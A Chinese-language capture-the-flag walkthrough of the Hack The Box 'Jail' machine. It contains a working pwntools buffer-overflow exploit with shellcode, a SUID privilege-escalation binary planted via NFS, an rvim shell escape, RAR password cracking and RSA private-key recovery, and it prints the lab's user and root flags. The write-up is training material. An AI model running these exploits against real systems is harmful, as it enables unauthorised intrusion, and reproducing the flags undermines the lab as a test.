Jail机器所在链接:https://app.hackthebox.com/machines/45
要求掌握的技能:利用缓冲区溢出、枚举NFS共享、逃逸SELinux沙箱、逃逸rvim、生成指定的字典文件、破解加密的rar文件密码、根据RSA公钥得到私钥
——端口扫描
nmap扫描发现打开了如下端口:22、80、111、2049、7411、20048,开启了ssh、http、nfs和某不知名的服务。
nmap -sC -sV -p- -T4 --min-rate=1000 -vv 10.129.8.83
——进一步探索NFS,发现/opt,/var/nfsshare共享
sudo nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.129.211.34
——搜索web目录,发现jailuser目录
gobuster dir -u http://10.129.211.34/ -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -t 100
jailuser/dev下有3个文件
——缓冲区溢出
从dev/中下载jail.c等文件,发现jail.c就是端口7411对应的程序。代码中明显存在缓冲区溢出漏洞
compile.sh将堆栈设置为可执行:
gcc -o jail jail.c -m32 -z execstack
——利用缓冲区利用
确定要输入多少个字符才能造成缓冲区溢出?
gdb调试jail程序
gdb ./jail -q
set detach-on-fork off #不让父子进程脱离
set follow-fork-mode child #自动调试子进程
r
生成长度为50的模式字符,将这个模式字符作为PASS输入
pattern create 50
nc localhost 7411
USER admin
PASS AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
EIP的数值停在了“AA;A”
确定模式字符的offset
pattern offset AA;A
即前面填充28个字符,后面跟上地址,EIP将跳转到这里
然后我们可以很容易地写出利用程序,但在写该程序时遇到个问题。
问题:如果在python3下运行pwntools,执行类似p32(0xffcfe9a0)语句返回的类型为bytes,exploit.py的内容如下
mem = p32(0xffcfe9a0)
… …
payload = ""
payload += "A" * 28
payload += mem
payload += buf
… …
p.sendline("PASS " + payload)
解决办法:
python3下会把p32(0xffcfe9a0)解析为bytes类型,而在python2下将p32(0xffcfe9a0)解析为str类型。因此上述脚本只能在python 2.7下运行。
总结一下就是:
1、使用python 2.7版本的pwntools
payload = "A"*28 +p32(0xffffd610+32)+ shellcode
2、使用python3版本的pwntools
payload = "A"*28 +"\x30\xd6\xff\xff" + shellcode
需要将地址静态写成字符串形式,如果是动态获取的地址就不知道怎么弄了。
——用pwntools写缓冲区溢出利用程序
使用reuse socket类型的shellcode获得连接
https://www.exploit-db.com/exploits/34060
from pwn import *
shellcode ="\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
payload = "A"*28 +"\x30\xd6\xff\xff" + shellcode
r = remote('10.129.113.11', 7411)
print(r.recv(1024))
r.sendline('USER admin')
print(r.recv(1024))
r.sendline('PASS ' + payload)
r.interactive()
注:ffffd610是连接远程主机获得的userpass的地址,每次不变。0xffffd610+32=ffffd630
问题:利用脚本中为什么要在泄露的地址处加上32?
解答:
从下面图可以看到泄露的地址为0xffffc9b0,而执行shellcode的地址不是0xffffc9b0,而是0xffffc9b0+32= 0xffffc9d0,28个字符+4字节地址=32
——获得连接进入系统
输入id,连接的用户为nobody
context=system_u:system_r:unconfined_service_t:s0
这意味着我们进入了SELinux,它是一个内核模块,它通过监控主机上发生的操作来增强安全控制。Context由用户名、角色和域组成,为不同的用户、角色或类型授予执行某些操作的权限。
——挂载NFS共享
由于Jail开了2049端口,挂载的为NFS,前面已经获知有2个共享,我们分别挂载上
sudo mount -t nfs 10.129.8.31:/opt/mnt/jail/opt
sudo mount -t nfs 10.129.8.31:/var/nfsshare /mnt/jail/nfsshare
实际上,Jail 上并没有kali组,而是远程主机上 id为1000的组。在我的系统看到组ID 1000 时,它会查找该组的名称,即kali,并使用它。
作为组 1000 的成员,我无法在此目录中读取,但可以写入。
在Jail上可以看到,1000组对应为frank
用户frank在以下/etc/passwd条目中
查看这些共享是如何挂载的
cat /etc/exports
root_squash意味着如果在本地以root身份运行,这将被视为Jail上的默认的nobody用户,因此无法以root身份读取文件。
——权限提升至用户frank
挂载文件夹/var/nfsshare,使用户kali成为组1000的一部分。以kali用户身份设置的 Suid 位编写和编译二进制文件,在Jail上运行二进制文件以获得frank身份。
touch /mnt/jail/nfsshare/bypass-id.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main( int argc, char *argv[] )
{
setreuid(1000, 1000);
printf("ID: %d\n", geteuid());
execve("/bin/bash", NULL, NULL);
}
gcc -o bypass-id -static bypass-id.c
chmod 4755 bypass-id
在Jail BOX上运行下述命令
/var/nfsshare/bypass-id
id由nobody变为frank
frank/.ssh下有authorized_keys文件
将id换成frank并不能将shell变为交互式的。因此我们可以生成公私钥对,将公钥拷贝到/home/frank/.ssh/authorized_keys中,然后就能以frank用户登录了。
ssh-keygen -f frank
cat frank-key.pub
echo "ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIKhBarAcsp80FsTbn0mZUD+hLYktfklUxg11nnpo99Be
kali@kali" >> ~/.ssh/authorized_keys
ssh -i frank frank@10.129.8.31
提交用户标志
944db90dfc039bf0a3abbee1ed44378a
——提权到root
查看sudo -l,logreader.sh没有可利用的地方。发现可以adm运行jail.c
——切换到用户adm
sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c
在rvim输入命令python import pty;pty.spawn("/bin/bash")可将用户切换到adm
adm主目录下有3个文件:note.txt、.frank、keys.rar
keys.rar包含root公钥,需要解压密码才能解开
note.txt提示密码为:Frank的姓+4个数字+1个字符
.frank的内容如下,看不出任何含义
Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!
看着像是对字符进行了简单移位,我们用https://quipqiup.com/进行解密
解密的结果为
Hahaha! Nobodywill guess my new password! Only a few lucky souls have Escaped from Alcatrazalive like I did!!!
哈哈哈!没有人会猜到我的新密码!只有少数幸运的人会像我一样或者逃离恶魔岛!!
从解密结果的字面意思,到谷歌上搜索从恶魔岛逃离的人
显示了3个人:
John Anglin、Clarence Anglin、Frank Morris
鉴于Jail上的用户为frank,应该就是Frank Morris
从notes的内容
Frank, for the last time, your password for anything encrypted must be your last name followed by a 4 digit number and a symbol.
猜到密码可能为Morris+4个数字和1个字符
——使用hashcat生成字典
hashcat --stdout -a 3 Morris19?d?d?s > jail.words
生成的字典如下
用rar2john获取keys.rar的hash,将其保存为jail.hash
rar2john keys.rar
vi jail.hash
用john和上面生成的字典破解rar文件的密码,得到密码为Morris1962!
john --wordlist=./jail.words ./jail.hash
用上述密码解压keys.rar
unrar x keys.rar
解压出来的rootauthorizedsshkey.pub如下所示
安装工具RsaCtfTool,由得到的公钥获取私钥
/opt/RsaCtfTool/RsaCtfTool.py --publickey rootauthorizedsshkey.pub --private
得到私钥
问题:将私钥拷贝到root.key,ssh登录时提示需要输入密码?
解决办法:
从提示信息“sign_and_send_pubkey: no mutual signature supported”可知,算法不再支持。
ssh-rsa已弃用。ssh-rsa自 OpenSSH 8.8 以来,签名类型 (sha1) 已不受支持,并被替换为rsa-sha2-256或rsa-sha2-512(在 2016 年的 OpenSSH 7.2 中添加)。因此,在服务器升级之前,客户端将需要ssh-rsa使用 PubkeyAcceptedKeyTypes 将已弃用的标记为允许。
ssh -i root.key root@10.129.8.83 -o PubkeyAcceptedKeyTypes=ssh-rsa
这样就能进入ssh了。
——提交root标志
9d001091018c0a78c57b1f79b9afbc5f